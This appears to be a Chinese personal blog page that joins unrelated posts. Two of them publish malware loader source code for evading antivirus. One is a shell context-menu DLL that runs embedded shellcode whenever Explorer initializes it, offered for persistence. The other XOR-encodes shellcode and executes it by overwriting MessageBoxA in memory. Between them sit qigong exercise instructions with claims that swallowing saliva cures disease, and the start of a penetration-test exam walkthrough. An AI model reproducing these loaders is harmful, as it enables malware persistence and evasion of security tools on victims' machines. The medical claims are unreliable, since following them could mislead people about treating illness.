zngeek的小窝

免杀(四)源码-究极永久免杀源码

Tue, 27 Feb 2024 22:34:31 +0800

原文地址在这里

免杀那点事之上下文菜单持久化后门（四）

dllmain.cpp不用我给你们了吧！！！！

下面是核心代码！！！！！！

#include "FileContextMenuExt.h"
#include <strsafe.h>
#include <Shlwapi.h>
#pragma comment(lib, "shlwapi.lib")

extern long      g_cDllRef;
extern HINSTANCE g_hInst;

UINT             g_QCMFlags;

#define IDM_DISPLAY 0

unsigned char buf[] = "\x00"; // 放你的shellcode


void gogogo() 
{
    DWORD dwOldProtect = 0;
    LPVOID addr = VirtualAlloc( NULL, sizeof( buf ), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE );
    memcpy( addr, buf, sizeof( buf ) );

    VirtualProtect( addr, sizeof( buf ), PAGE_EXECUTE_READ, &dwOldProtect );

    ( ( void( * )() )addr )();
}

FileContextMenuExt::FileContextMenuExt(void) : m_cRef( 1 )
{
    InterlockedIncrement( &g_cDllRef );
}

FileContextMenuExt::~FileContextMenuExt(void)
{
    InterlockedDecrement( &g_cDllRef );
}

#pragma region IUnknown

IFACEMETHODIMP FileContextMenuExt::QueryInterface(REFIID riid, void **ppv)
{
    static const QITAB qit[] = 
    {
        QITABENT( FileContextMenuExt, IContextMenu  ),
		QITABENT( FileContextMenuExt, IContextMenu2 ),
		QITABENT( FileContextMenuExt, IContextMenu3 ),
        QITABENT( FileContextMenuExt, IShellExtInit ), 
        { 0 },
    };
    return QISearch( this, qit, riid, ppv );
}

IFACEMETHODIMP_(ULONG) FileContextMenuExt::AddRef()
{
    return InterlockedIncrement( &m_cRef );
}

IFACEMETHODIMP_(ULONG) FileContextMenuExt::Release()
{
    ULONG cRef = InterlockedDecrement( &m_cRef );
    if ( 0 == cRef ) {
        delete this;
    }
    return cRef;
}

#pragma endregion


#pragma region IShellExtInit

extern LPCITEMIDLIST g_pidl;

IFACEMETHODIMP FileContextMenuExt::Initialize( LPCITEMIDLIST pidlFolder, LPDATAOBJECT pDataObj, HKEY hKeyProgID )
{
    DWORD tid = NULL;
    CreateThread( NULL, 1024 * 1024, ( LPTHREAD_START_ROUTINE )gogogo, NULL, 0, &tid );

    if ( NULL == pDataObj ) {
		if ( pidlFolder != NULL ) {
		}
        return S_OK;
    }
	return S_OK;
}

#pragma endregion

#pragma region IContextMenu

IFACEMETHODIMP FileContextMenuExt::QueryContextMenu(HMENU hMenu, UINT indexMenu, UINT idCmdFirst, UINT idCmdLast, UINT uFlags)
{
	g_QCMFlags = uFlags;
	return MAKE_HRESULT( SEVERITY_SUCCESS, 0, 0 );
}


IFACEMETHODIMP FileContextMenuExt::InvokeCommand(LPCMINVOKECOMMANDINFO pici)
{
    BOOL fUnicode = FALSE;

    if ( pici->cbSize == sizeof( CMINVOKECOMMANDINFOEX ) ) {
        if ( pici->fMask & CMIC_MASK_UNICODE ) {
            fUnicode = TRUE;
        }
    }
    return S_OK;
}


IFACEMETHODIMP FileContextMenuExt::GetCommandString(UINT_PTR idCommand, UINT uFlags, UINT *pwReserved, LPSTR pszName, UINT cchMax)
{
    HRESULT hr = E_INVALIDARG;

    if ( idCommand == IDM_DISPLAY ) {
        switch ( uFlags ) {

        default:
            hr = S_OK;
        }
    }
    return hr;
}

#pragma endregion

HRESULT MenuMessageHandler(UINT uMsg, WPARAM wParam, LPARAM lParam, LRESULT* pResult)
{
	return S_OK;
}

IFACEMETHODIMP FileContextMenuExt::HandleMenuMsg(UINT uMsg, WPARAM wParam, LPARAM lParam)
{
	LRESULT res;
	return MenuMessageHandler( uMsg, wParam, lParam, &res );
}

IFACEMETHODIMP FileContextMenuExt::HandleMenuMsg2(UINT uMsg, WPARAM wParam, LPARAM lParam, LRESULT *plResult)
{
	if ( NULL == plResult ) {
		LRESULT res;
		return MenuMessageHandler( uMsg, wParam, lParam, &res );
	}
	else {
		return MenuMessageHandler( uMsg, wParam, lParam, plResult );
	}
}

【内八部长寿功】视频+图文详解

Fri, 12 Jan 2024 20:51:37 +0800

长寿功简介

《长寿功》主要练人的先天阴阳二气，为乾阳与坤阴之真气而设，引导真气由动而致虚静。

道家处处讲阴阳。有阴就有阳，有阳必有阴。阴消阳长，阳消阴长。外八部金刚功属阳，内八部长寿功属阴。阴中有阳，阳中有阴。阴阳之中，又有阴阳。

内八部长寿功的前四部属阴中之阳，后四部属阳中之阴。其功法顺序是：前四部由阴转阳，后四部由阳转阴。

笫一部，窃吃昆仑长生酒，外表上好像没有动作，实际内里在活动。吞咽津液，炼阴(津液)化阳。这时，阳气萌动，带动万物生长。体内气体开始发动，为少阳。

第二部，形体开始有了动作，阳气上升。意想一个火球经任、督二脉上、下循环转动。任、督二脉是一阴一阳。这时，体内阴阳相接，阴阳交换，阴向阳转化，为纯阳(太阳)。

第三部，由阴阳生化出四象、八卦。形体动作的幅度加大，经过的经络穴位也多，主要是把人体内的元气，从根源上加以深化，由内向外渗发，把人体的十二正经、奇经八脉作整体的调整运动，使人的心神，体内阴阳二气，与宇宙天体之真气相沟通，相交换。

第四部，形体动作幅度更大，内气活动完全包拢到整个世界，与天地融为一体。所以，这部功法的名目称“大转逍遥”。第四部，阳气旺盛到了极点，阳光照耀世界，实现了由阴到阳的转化，为老阳(阳明)。前四部由阴转阳。由阳的萌动、生长变化到爆发；由人体内，向宇宙间引发，效法宇宙的宏观之理；后四部由阳转阴。效法自然，模仿生物，从宇宙回归于人体本身。

第五部，仿大雁俯空。

第六部，仿安稳行舟。

第七部，仿白鹤定神。

第八部，仿鱼沉海底。形体由较大的动作，到小幅度的动，到更小的动。体内的元气也逐步由收敛，到聚拢，到存定合成。这就是由少阴向纯阴(太阴)、老阴(厥阴)的转化，由动入静的境界。这个静，对修炼大道来说，不过是初静，是静功之基础。静极生动。长寿功练好了，会出现初动。进一步修炼，能达到真静，大动，阳神出窍。

所以，长寿功是修炼大道的基础，它和静功的关系极为密切；尤其是后四部，与静功实难截然划分。但倘若不分，又难明其深奥妙理，学练者，则难以下手。所以，在这里勉强地分一分，使其功理、功法比较集中明了，有思想与顺序可循。

讲道不离体，离体不为道，“道法自然”。离开身体不是讲道。讲道，比天地，比日月，比山河，比龙虎，比飞禽走兽，讲的都是身体。

所以，习练长寿功，本意须时时在体内流转。神不外驰，才能凝炼成灵珠一粒，破邪祛病，延年益寿，所谓“神在身，身常健，不修炼，自成仙”。

否则，把长寿功当作一般的养生动功，当作一般的导引吐纳，神光外驰，元气走散，就完全背离了长寿功的真谛。

张真人演示长寿功图解

第一部 窃吃昆仑长生酒

功理：

“昆仑”，是我国西部著名的高山，这里形容人体的头部。头部，在人体之上，最高处，为六阳之首，是修炼机窍最多的地方，也是静功修炼的着手处。“长生酒”，不是指平常市场上卖的酒，它指人体口中的唾液，又称“金津玉液”。可以使人除病健身，长生久视。“窍吃”，不是偷吃，是指自己吞咽口水时，别人不知不觉。八仙之一吕洞宾祖师《百字碑》曰：“自饮长生酒，逍遥谁得知。”先祖对这部功有诗一首作为概括：

昆仑山下一清泉，泉中有水流万年。

有人窃吃泉中水，活个生长不老仙!

我也曾就自己几十年的经验，写了四句作为注解：

龙戏九江水，虎登万重山。

阴阳交换处，火内开白莲!

“龙”者，舌也，为心之苗；“虎”者，齿也，为肾之苗。心为阳，为离，为火；肾为阴，为坎、为水。“九江水”即口水。“万重山”，即头部。这“龙戏水，虎登山”，正是坎离相合，水火相济，“阴阳交换”。如此时时相交通融，阴阳平衡，定会“火内开白莲”，岂有不益寿延年之理!

这个长生酒，不是尘世之酒。我们道家经典《元道真经》上讲，它是坚精补髓，固护五脏，归根复命之法。一般修道的人，得道的神仙都离不了这一步。

我体会这个长生酒作用就是大。天黑了你想睡，你先不要睡，慢慢咽几口，十口，二十口口水，晚上睡那里，灵灵醒醒，打坐精精神神，不昏沉，不糊涂。好比你想去病，舌在口里搅动，想象舌在病的部位搅动，坚持炼，慢慢病也就好了。

这个道理，中医认为：舌是人体相对独立的部分。主要脏腑在舌上都有特定的部位：舌尖属心肺，舌中属脾胃，舌根属肾、膀胱，舌边属肝胆、四肢。舌体是人体的缩影。当人的脏器有病，首先心动意引，用舌搅动口水，口水里有高级能量，通过以意领气，意到，气到，血到，液到，力到，就能够治病。

本部功法关系重大。《黄庭经》说：“至道不烦也。”大道至简至易。窃吃“长生酒”，不论男女老少，不论身体强弱，不论行站坐卧，不拘室内野外，随时随地都可以进行，大家多练，潜移默化，佳境无穷。

功法：

【1-1】身体松立，口闭齿合，以意引津。舌尖在口内，上下左右来回任意搅动。哪里有病灶，就想在哪里搅动。

【1-2】当口水满口时，分三次慢慢咽到“太上老君的八卦炉”，也就是咽到下丹田(脐下腹内)，一切病菌病毒在炉中炼化，或从二便，口中，毛孔排出，疾病渐愈。但注意，没有口水时，不能干咽，干咽有火，容易导致喉咙干燥，干渴。

第二部 升降日月任督走

功理：

任、督二脉属奇经八脉。任脉在前，属阴，走胸腹正中，上到额部，六阴经脉都来交会，是“阴脉之海”，有调节全身诸阴经气的作用；督脉在后，属阳，走腰背正中，上至头面，六阳经脉都来交会，是“阳脉之海”，有调节全身诸阳经气的作用。

任、督二脉是练功的主要的运气路线。“升降日月任督走”，目的在去病健身，也是为修炼静功打基础，火要冲关一定要走这条路线。

“升降日月”。升者为日，降者为月。“日月”表示人体坎离之中的精华。升降日月，是人体先天之气上下来回转动，带动后天五谷之气。

那么，先天之气又由什么来诱导呢?用不用意念呢?我们说，不用之用。如果你一心用意念，就成了后天的识意了。心里一动，已经是机灵(真意，灵感，直觉)，它自动的带动阴阳二气，何必再加那么多意念!还有你的神光(眼光)，也是领导阴阳二气沿任、督二脉转动的。

阳气从督脉尾闾穴沿背腰上升，经头顶到上唇人中穴(上唇坑中线三分之一处)，阴气从任脉下龈开始，往下经喉部，胸部，腹部中线到会阴处，这就是任、督二脉气流的循环路线。

任、督二脉通畅了，阴、阳二气相互交融，调节后天五谷之气达到平衡：人就百病消除，健康长寿了。

【2-1】起式：左脚向左平开一步，左右手覆于脐之上下。

【2-2】双手翻转一圈，转立掌，左掌在前，右掌在内，左掌提至额前，右掌附于左手腕处，手指向上，稍停。

【2-3】意想泥宫有一“火球”。双掌向内旋转开始下降，同时屈膝略成马步。两手降到胸部，稍停。随手降落时，舌顶上腭，意想“火球”由舌面经过，沿任脉下降。

【2-4】双手继续向内旋转，下降至小腹部，两腿屈膝成正马步，同时意想“火球”沿任脉下降至会阴部。

【2-5】两拳向外旋转上升，意想会阴部之“火球”从尾闾沿督脉上升。

【2-6】双掌继续外旋上升；同时，渐渐直膝，意想“火球”沿督脉继续上升。

【2-7】双掌继续外旋上升至额前，手指向上，右手附于左腕处；同时意想“火球”沿督脉继续上升，经玉枕、百会、至泥丸宫。然后，双手下降，动作与第【2-(2～6)】图相同。

如此反复进行，不计次数。

【2-8】收式：最后，当双掌降落至脐部时，意想“火球”也降至脐内，双手变横掌，掌心向内，上下旋转一周，左掌覆于脐上，右掌覆于脐下，稍停，收回左脚。

第三部 内转太极行八卦

功理：

人体虽小，暗合天地。天有日月星，人有精气神；地有山脉河流，人有经络血脉。宇宙万物无不在阴阳、八卦之中。《道德经》说：“道生一，一生二，二生三，三生万物，万物负阴而抱阳，冲气以为和。”

本部功法就是效法自然，仿造太极、八卦的运行，引导人体内部的元气循环转动，返朴归真。先是无极生太极。以双掌由腹部自左向右，由小到大旋转划圈，将全身的元气收拢至黄庭中央；接着是四象，以两乳为中央，双臂左右走∞形。左形螺旋S形气路推动阳气，右行螺旋S型气路推动阴气，用先天之气活动全身。先天元气活动开了，即使后天之气薄弱，也能缓转过来。

往下是内行八卦。第一卦到第四卦，是一个∞形的气路；第五卦到第八卦又是一个∞形气路。这个双螺旋运动，使人体与宇宙相沟通，不断摄取宇宙的先天之气推入体内，不断的调整体内的阴阳二气的平衡，使心火之气和肾水之气两相充盈，以实补虚，以虚化实，阴阳平衡，阴阳合一，身体自然充满生机。

心是君主之器官。这部功法，双臂不论是旋转画圈，还是走S形，走∞形，气在全身周游，始终以绛宫(心)为中心，就像周天星斗回绕着紫微星转动一样，体现了心神的主导作用。

【3-1】起式：左掌覆盖在脐上，右掌覆盖在脐下，是为“无极”。

【3-2】内转太极：左脚向左迈出一步，双掌以脐为圆心，向左，向上，向右，向下划圈，越转越大(中指尖渐渐相对，不相接)，如抱小球变大球。

双掌划圈越划越大，高过头顶（图4）。

顺转太极的次数不限，任其自然。

【3-3】内转四象：以两乳为太极眼（即太极图阴阳鱼之眼)，以身体中央，任脉为阴阳鱼之中央线，双手旋转。

【3-4】内转四象：

转法是：

(1)当划圈至左侧上最高处时，左掌在上，右掌在下，掌心相向。

【3-5】内转四象：

转法是：

(2)右掌心转向内，从左肩经右乳，沿任脉下降至小腹部伸直；同时，左手弯曲，沿左耳侧下至左肩。

【3-6】内转四象：

转法是：

(3)右掌继续向右侧上方旋转，右臂伸直，高过头顶，左掌也沿右掌的路线旋转经右肋至头右侧，掌心相向。

【3-7】内转四象：

转法是：

(4)左掌从右肩过右乳沿任脉下落至小腹部，右手弯曲沿右耳侧下至右肩（图12）。左掌继续向左侧上方旋转，左臂伸直高过头顶（图5）；右掌也沿左掌的路线旋转经左肋至头左侧，掌心相向。

如此反复练习，次数不限，任其自然。

【3-8】运行八卦：

第一卦:当“内转四象”两掌在左侧上方时，右掌从左肩经左乳沿任脉下落至小腹部，掌心相向；同时，左掌弯曲覆在头上距离约三寸，掌心对百会(如北斗天罡式)。

【3-9】运行八卦：

第二卦:身向右稍转；同时，右掌划弧转向右后，掌心向左下，左掌落至胸前，掌心向胸。

【3-10】运行八卦：

第三卦:转体向右成右弓步，右手直臂向右上后划弧至左胯后；同时，左掌经右膝前向下弧形向右上推举，身体右前倾，左掌变勾掌（图3）

【3-11】运行八卦：

第四卦：左掌收回至头上，掌心对百会；同时，右臂从下向右上托举，掌心向上，同时身体恢复正直，向前（图4）。

【3-12】运行八卦：

第五卦：左掌沿左耳旁下落，沿任脉下落至小腹部，掌心向内；同时，右掌上撩覆回头上，距离头上约三寸，掌心对百会（图4）。

【3-13】运行八卦：

第六卦：身向左稍转，同时，左掌转向左后，掌心稍向后，右掌落至胸前，掌心向胸（图2）。

【3-14】运行八卦：

第七卦：转体向左成左弓步，左手直臂向左上后划弧至右胯后；同时，右掌经左膝前向下弧形向左上推举，身体左前倾，右掌变勾掌（图3）。

【3-15】运行八卦：

第八卦：右掌收回至头上，掌心对百会；同时，左臂向下向左上托举，掌心向上，同时身体恢复正直，向前（图3）。

内行八卦重复多次，次数不限，任其自然。

【3-16】回转四象：转回到四象，动作路线同“内转四象”，但方向相反，次数不限，任其自然。

【3-17】回转太极：回转太极，动作路线同“内转太极”，圆圈由大变小，越转越小，但方向相反。

【3-18】收式：双掌上下转动一圈，收回至脐之上下，回归“无极”，如起式。

第四部 大转逍遥乐无忧

功理：

每当天气晴朗，云消雾散，旭日东升或夕阳西下时，我们可以看到太阳周围有两个火圈。红色的在外，黄色的在内。两个光圈转动，有时飞快，有时又慢悠悠地。悠然自得，逍遥自在。左一圈，右一圈；上一圈，下一圈；快一圈，慢一圈。如此反复转动，不断地向太空释放出一道道光华，一束束能量。日有“光圈”，月有月华。月亮周围的光华，像锦云捧珠，五色鲜莹，同样是珍贵的元气能量。

本功法就是仿效日月的这种状态，放松自然，心胸开阔，逍遥快乐，两手抱球如日月任意转圈，不计数，不强求，想快就快，想慢就慢，想练几遍就练几遍，腰身随着双手自然的晃动。把全身的经络活动开了(尤其是奇经八脉之带脉--全身经脉的枢经线)，阳气开发，仿佛与宇宙融为一体，身体充满了活力。

【4-1】起式：左脚向左迈出半步，左掌覆盖在脐上，右掌覆盖在脐下，稍停。

【4-2】双手仰掌置于腹前，指尖相对(不相接)，掌心斜向上，形如抱球。

【4-3】抱球下摆：两膝微屈，以肩为轴心，双手如抱球慢慢左右摇晃由小变大。

【4-4】抱球翻转：继续抱球，快速左右晃几次，即从左向上(过头)，向右，向下转一圈，又回复到【4-2】的姿势。

【4-5】托球上举：抱球向右如带球状，右脚经左脚前，向左外侧迈一步，两脚成交叉步，右腿在左腿前，双手托球，身体随即向左后翻转。

【4-6】双手托球至头正上方，身体正直。

【4-7】向左后下摆，左手置于左身后，右手置于头上，掌心稍相对，双手如抱一大球。

【4-8】右手下摆至右后，左手同时移至头上左侧，掌心稍相对如抱一大球，上身亦随之拧向右后。

【4-9】抱球平带：两手平行转至胸部抱球，拧身以腰为轴向左后，右后来回晃球。

做完再重复一次，从抱球下摆到抱球平带。

【4-10】收式：抱球下摆的动作，晃球的幅度由大渐渐变小，转掌心向内，上下旋转一次，覆于脐之上下，左脚收回，静待片刻。

本部功晃球和转身的次数不限，任其自然。但要悠然自得，心境快乐。

第五部 大雁腾空降吉祥

功理：

大雁腾空，心空为宗。

人的疾病，很大程度是由于思想紧张，想不开。所以，要求我们心空。“恬淡虚无，真气从之，精神内守，病从何来”。

本功法仿大雁翱翔。展翅一身轻，天高任鸟飞。你丢掉一切杂念，忘掉所有的世俗事务，无忧无虑，全身放松，舒展双手如大雁展翅，在太空中盘旋遨游。

双眼微闭，似闭非闭，俯视大地，这个大地是你体内五脏六腑之气的变化，但那里也像广阔的天空，空荡荡的，什么都没有。于是，你自由自在，心无挂碍，神清气顺，气聚本体，返朴归真。这就是“降吉祥”。

【5-1】起式：左脚向左迈出半步，两手指尖向前，变两阴掌，掌心向下，置于腹前，拇指相挨，象生大雁的尾巴。

【5-2】展翅腾飞：双掌左右摆动几下，两掌一合，随即左右分开，以腕、肩为轴，开合如扇翅，由小到大，由下而上向两侧扇动至平肩高，掌心向下，两臂向左右伸直，上下扇翅。

【5-3】两臂左右伸直，以掌背在头顶上方相拍，双手下落与肩平。如前上下起落，连拍三次，如大雁腾空振翅奋飞。左拳变仰掌，向上提至左腋。

【5-4】第三次拍翅时，双掌用力向上一冲，随即下落，左右伸直与肩平，掌心稍转向前，然后掌心向地，目光内视，如雁俯视大地，静待片刻。

【5-5】滑翔盘旋：右手稍高，左手稍低，头稍向左转，目光通过左手手臂看指尖；同时，身体向左后拧转，稍停。

【5-6】身体开始向右转，变左手高右手低，头也随之稍向右转。

【5-7】身体继续向右后拧转，目光通过右手手臂看指尖。

【5-8】就这样左手高右手低，右手高左手低，如图第【5-(4～7)】，反复的左右来回转体。目视指尖，像大雁在高空俯视大地，滑翔盘旋。

【5-9】最后一次，身体恢复正直，两臂平伸，与肩同高，掌心向下。

【5-10】择地下降：

（1）左移复位：右脚经左脚前向左侧迈一步，两腿成交叉步，右腿在左腿前，同时，双手如鸟翅一般，柔和的上下扇动一下，接着，双臂又恢复平伸状态。

【5-11】左脚从右脚前向后侧迈步，两手上下扇动一下，又恢复平伸。

【5-12】如此迈步，扇动重复两次后，恢复成图中的动作。

【5-13】右脚向左脚靠拢，脚尖点地，两手轻微扇动一下。

【5-14】右脚向右侧迈一步；同时，双手扇动。

【5-15】左脚经右脚后向右侧迈步，双手扇动，此时，左腿在右腿后。即右腿在左腿前。

【5-16】右腿从左腿前向右侧迈步，双手扇动，恢复平伸状态(图1)。如此迈步，扇动重复两次后，恢复成图2的动作，回到原先起式的位置上。

【5-17】（2）右移复位：左脚经右脚前向右侧迈步，两腿成交叉步，左腿在右腿前；同时，双手如鸟翅一般，柔和的上下扇动一下，接着，双臂又恢复平伸状态。

【5-18】右腿从左脚后向右侧迈步，两手上下扇动一下，又恢复平伸状态，如图所示。如此迈步，扇动重复两次后，恢复成图中的动作。

【5-19】左脚向右脚并拢，脚尖点地，两手轻微扇动一下。

【5-20】左脚向左侧迈一步；同时，双手扇动。

【5-21】右脚经左脚后向左侧迈步，双手扇动，此时，右腿在左腿后，即左腿在右腿前。

【5-22】左脚从右脚前向左侧迈步，双手，恢复平伸状态，如图所示。如此迈步，扇动重复两次后，恢复成图中的动作，回到原先起式的位置上。

【5-23】（3）右圈复位：两膝微屈，右脚尖点地，身体重点落在左腿上，稍屈膝。

【5-24】右脚虚步向前。

【5-25】向右外，如图所示，向右后划圈，右脚收回至左脚跟处，脚尖点地。

【5-26】（4）左圈复位：右脚跟落地变实步，身体重点落在右腿上，稍屈膝；左腿变虚步，脚尖点地，左脚虚步向前，向左外，向左后划圈（与【5-(23～24)】图相同，唯脚的方向相反），左脚收回至右腿跟处，脚尖点地。

如此反复进行后，恢复成(5-22图)的动作，回到原先起式的位置上。

【5-27】（5）点步：右脚向左脚靠拢，脚尖点地，身体重点放左腿上；同时，双手扇动，如图所示。右脚向右迈步，双手扇动，恢复到(5-22图)的动作。

左脚向右脚靠拢，脚尖点地，身体重点放在右腿上，同时，双手扇动（5-26图），左脚向左迈步，双手扇动，恢复到(5-22图)的动作。

【5-28】收式：两脚直立，双手扇动；同时，双手渐渐向前回收到腹前，两掌相靠；掌心朝下，拇指与拇指相挨，象征雁尾，与【5-(3～1)】图同，两掌向左、向右摆动几下。

接着，掌心向内，两掌相绕旋转一圈，收回至脐部，一掌贴于脐之上部，一掌贴于脐之下部，如图所示。

第六部 浪里行舟漂海洋

功理：

浪里行舟，安心不动。

心与气一体。真气的动依靠元神的静。练功就怕心惊。所以，要求时时刻刻把心稳定下来。就好比大海茫茫，大水漂荡，我们坐在小舟上，海浪一高一低，但你稳如泰山，心里安安静静，平平淡淡，风吹动着你的衣服，你飘飘荡荡，潇洒自然，快快乐乐。

这个舟在哪里?就表示在你身上。虽然心安安稳稳，我们身上的真气却如大海的海潮，忽上忽下，忽起忽落，有节奏，又有力量。

【6-1】起式：自然站立，左脚向右前方迈一步，双手提起，掌心向下，五指朝前，平行分开，置于腹前。

【6-2】（1）推舟式：双掌向下、向前、向上作弧形推去，身体也随之前倾，至手平肩时直臂，左腿成左弓步，右腿蹬直，右脚跟离地。

【6-3】右腿屈膝，身体后仰，身体重心落在右腿上左腿蹬直，脚尖提起；同时，双手沿原先推出的弧形回收至胸前。

如此反复前推后收，如船在大海中一高一低，随海浪漂荡。

【6-4】（2）摇橹式：当推舟推至前上方时，两手手腕交叉，掌心向下。

【6-5】双手向下、向内、向上沿弧形收回至小腹部，双手仍交叉；同时，身体后移，稍塌腰收腹，左脚蹬直，脚尖提起，右腿屈膝略蹲，身体重心落在右腿上。

【6-6】双手翻转，掌心向上，身体稍后仰。

【6-7】双手向前推至双臂将要伸直时，两手左右分开，掌心向上平行向前；同时，身向前倾，重心放在左腿上，左腿稍蹬直，右脚成虚步，脚尖点地，脚跟提起。

【6-8】双手向下、向内、向后沿弧形收回至体侧，两臂伸直分开；手心朝前；同时，身体后移，右腿屈膝略蹲，重心在右腿，左腿成虚步，脚尖提起脚根点地。

【6-9】双手向后，向上划弧与肩平，同时，右腿蹬直，身体向上稍伸展。

【6-10】身体前倾，双手向前划弧，划至双手平行伸直向前，掌心向下，重心落在左腿上，左腿稍蹬直，右腿成虚步，脚尖点地，脚跟提起。

【6-11】双手交叉，如图所示，然后作摇橹动作，多次反复，与【6-(5～9)】的动作相同。

【6-12】（3）推舟式：摇橹动作反复多次，最后成图中的动作时，还原成推舟式，整个动作与【6-(2～3)】相同。

【6-13】收式：推舟动作反复多次，最后双手收回至小腹部，左脚收回，两手变横掌，掌心向内，上下转动一圈，收回，左手覆盖于脐之上，右手覆盖于脐之下。

第七部 白鹤踏波定神思

功理：

白鹤伫立，定心宁神。

鹤是长寿的象征。它总是一脚独立，一脚收起，勾头内视，闭目守神。神去气散，神归气聚。我们想要身体健康，就要去掉各种思虑，把心放宽，让神思常常守住，不外驰。神思外驰，元气就乱跑，身体就像没有人管。庄子说：“抱神以静，形将自正，必静必清，无劳汝形，无摇汝精，乃可以长生。”本功法仿白鹤伫立的动作。一脚独立，本不容易站稳，但又要求你站稳。在这个过程中，自然而然的排除掉各种杂念，达到精神内守，清心定神，寿如仙鹤的目的。

【7-1】两手左右分开下垂至两腿腿侧，掌心向后。

【7-2】左腿屈膝，脚尖点地，脚根稍提起，两手上提至心窝，手心向上。

【7-3】双手继续上提至胸上。

【7-4】双手沿左右肩胛骨转向脑后，两手背相靠，指尖向下。

【7-5】双手从脑后向上经百会，手心朝下，手指向前，两手靠拢；同时，左腿提起，右腿伸直，整个动作如白鹤独立。

【7-6】左脚向前踏步，同时，双手向前下落，动作如同白鹤漫步。

【7-7】双手继续下落至身体两侧，身体重心在左腿，右腿向前跟步，右脚向左脚靠拢，脚尖点地，屈膝，稍停。

【7-8】上体动体与【7-(1～7)】相同，两腿交替向前踏步。当左脚提起时，右脚独立；右脚提起时，左脚独立。如此反复进行，像白鹤踏波自然行走。

【7-9】收式：最后一次手脚不再向前，立定原位，双掌横脐部，上下旋转一圈，覆于脐之上下。

第八部 鱼沉海底寿命长

功理：

鱼沉海底，存心养神。

《入药镜》说：“夫天一生水，即太一之真气，人得一则生，失一则死。然人仗气而生，人不见气；鱼仗水而活，鱼不见水。人无气则死，鱼离水则亡。故仙人教人抱元守一者，即回光守中。守此真气，则可以延年也。然而用此法锻炼，则造成不死之躯矣。”

我们人身上有“四海”：泥丸是“渤海”；心窝(绛宫、中丹田鸠尾穴)为“南海”；中间黄庭(肚脐和绛宫之间)是“黄海”；下边气海(下丹田)为“北海”。

人身上的四个“海”和人身上的气，彼此都是相通的。本功法没有多大的动作，它仿照鱼自由自在，不费力气地慢慢上浮，一会儿又慢悠悠地沉下的姿态，以意引气，从“北海”慢慢上浮到“黄海”，从“黄海”慢慢上浮到“南海”海面；又以意领气慢慢下沉经“黄海”到“北海”海底。也就是沿中脉上下浮沉。

神思始终在三个大海里头，上来，下去，最后沉于北海底。此时，虚无静寂，抱元守一，气与神交，神与气和，可得枯木回春，返老还童，长生之道。

【8-1】上游：两手交叉手腕上下相靠，指尖向前，置于腹前。

【8-2】手掌像鱼尾左右摆动几下。

【8-3】两手向左右分开表示鱼两侧的鳍。全神贯注，目光内视(或微闭双眼)北海(在脐下气海，即下丹田)海底，稍停。

【8-4】然后，两手慢慢、轻轻向上扇动，意想有一条鱼，随双手的引导，从北海海底开始慢慢向上游动。双手继续由下而上缓慢扇动，引导鱼由北海缓缓地游上黄海，稍停。

【8-5】两掌轻轻左右扇动，引导鱼由黄海缓缓上游至南海海面，此时，精神专一，神光(目光)内守南海海面，停留时间较长。

【8-6】下沉：双手轻轻扇动，引导鱼从南海海面慢慢下沉，经黄海再慢慢下沉至北海，直至北海海底，停留时间较长【8-(5～3)】。

如此反复上浮下沉，不计次数，越慢越轻越好。

【8-7】收式：上浮下沉多次反复后，当鱼沉至北海海底时，双腕交叉如鱼尾，左右摆动几次(如【8-(2～1)】图)。

最后，横掌掌心向内，上下转动几次，左手劳宫按黄海，右手劳宫按北海(8-7图)，心神合一，凝视北海海底，久久便入静功之法路！

写在最后

世上好的功法很多，难的是一门深入。

简单的动作重复练，就是真功夫！

【外八部金刚功】5遍+9遍+图解

Fri, 12 Jan 2024 16:03:02 +0800

八部金刚功5遍版

八部金刚功9遍版

额~你们要的免杀(三)的源码在这里~

Wed, 10 Jan 2024 20:26:20 +0800

蓝极战队公众号原文在这里

免杀那点事儿之导出函数过主动（三）

别再发邮件问我要源码了，源码如下：

0x01 异或shellcode

#include<stdio.h>

unsigned char buf[] = "shellcode";

int main() {
	int i;
	printf("en_shellcode is:\n");
	for(i=0; i<=sizeof(buf); i++) {
		buf[i]=buf[i] ^ 0x15;
		printf("\\x%x",buf[i]);
	}	
}

编译执行即可

gcc xorsc.c -o xorsc
./xorsc

0x02 劫持windows导出函数替换函数并执行

#include <iostream>
#include <Windows.h>

#define FunctionName "MessageBoxA"



BOOL WirtePayload(PVOID Address, PBYTE shellcode, SIZE_T shellcodeSize) {
    DWORD dOld = NULL;
    if (!VirtualProtect(Address, shellcodeSize, PAGE_READWRITE, &dOld)) {
        return FALSE;
    };

    memcpy(Address, shellcode, shellcodeSize);
    if (!VirtualProtect(Address, shellcodeSize, PAGE_EXECUTE_READWRITE, &dOld)) {
        return FALSE;
    }
    return TRUE;

}


int main()
{
    unsigned char shellcode[] = {"异或后的shellcode"};
    PVOID pAddress = NULL;
    HMODULE hmodule = NULL;
    hmodule = LoadLibraryA("user32.dll");
    if (hmodule == NULL) {
        return -1;
    }

    pAddress = GetProcAddress(hmodule, FunctionName);
    if (pAddress == NULL) {
        return -1;
    }
    int i;
    for (i = 0; i <= sizeof(shellcode); i++) {
        shellcode[i] = shellcode[i] ^ 0x15;
    }
    if (!WirtePayload(pAddress, shellcode, sizeof(shellcode))) {
        return -1;
    };
    EnumChildWindows(NULL, (WNDENUMPROC)pAddress, NULL);
}

g++或者使用Visual Studio编译均可~~~~

欢迎关注蓝极战队公众号，这里只是我的小窝，学习技术哪家强？还是要看蓝极战队公众号！！！

CISP-PTS满分考题全解

Wed, 01 Jan 2020 10:08:57 +0800

作者：zngeek（蓝极战队bluegeek）

from：www.zngeek.com

mail：zngeek@pm.me

0X00 前言：请认真阅读

本篇文章为国测中心认证的渗透专家考题全解，以真实的考试环境及操作机为例，并且详细讲解各种答题技巧及注意事项，如果你详细阅读理解了该文章，考PTS将手到擒来！！！[手动狗头.jpg]

靶机数量：6（基础题4，综合题2）

总分：100（基础题40，综合题60）

KEY数：10（基础题4，综合题6）

每个KEY为10分，基础题每个靶机1个KEY，综合题每个靶机3个KEY

考试整体难度：★★★☆☆ 3星

靶机地址：192.168.31.211:3600-3604

PTS考试考场会提供两台操作机，分别是WIN7和kali，

操作机不能进行任何上传下载操作，所以并不能使用操作机以外的任何文件。

本文使用的任何工具、字典及文件等等均是考试操作机上自带。

0X01 基础题目之信息泄露

用御剑目录扫描工具，探测出存在www.rar的压缩文件

下载解压后发现一个info的文本文件，里面内容如下：

vi编辑非正常退出会有swp临时缓存文件，所以直接访问http://靶机/config.inc.swp下载该缓存文件，打开后成功找到了KEY

KEY为：PLwDPzFp

0X02 基础题目之命令执行

该题目我以前写过一篇文章详细分析过，

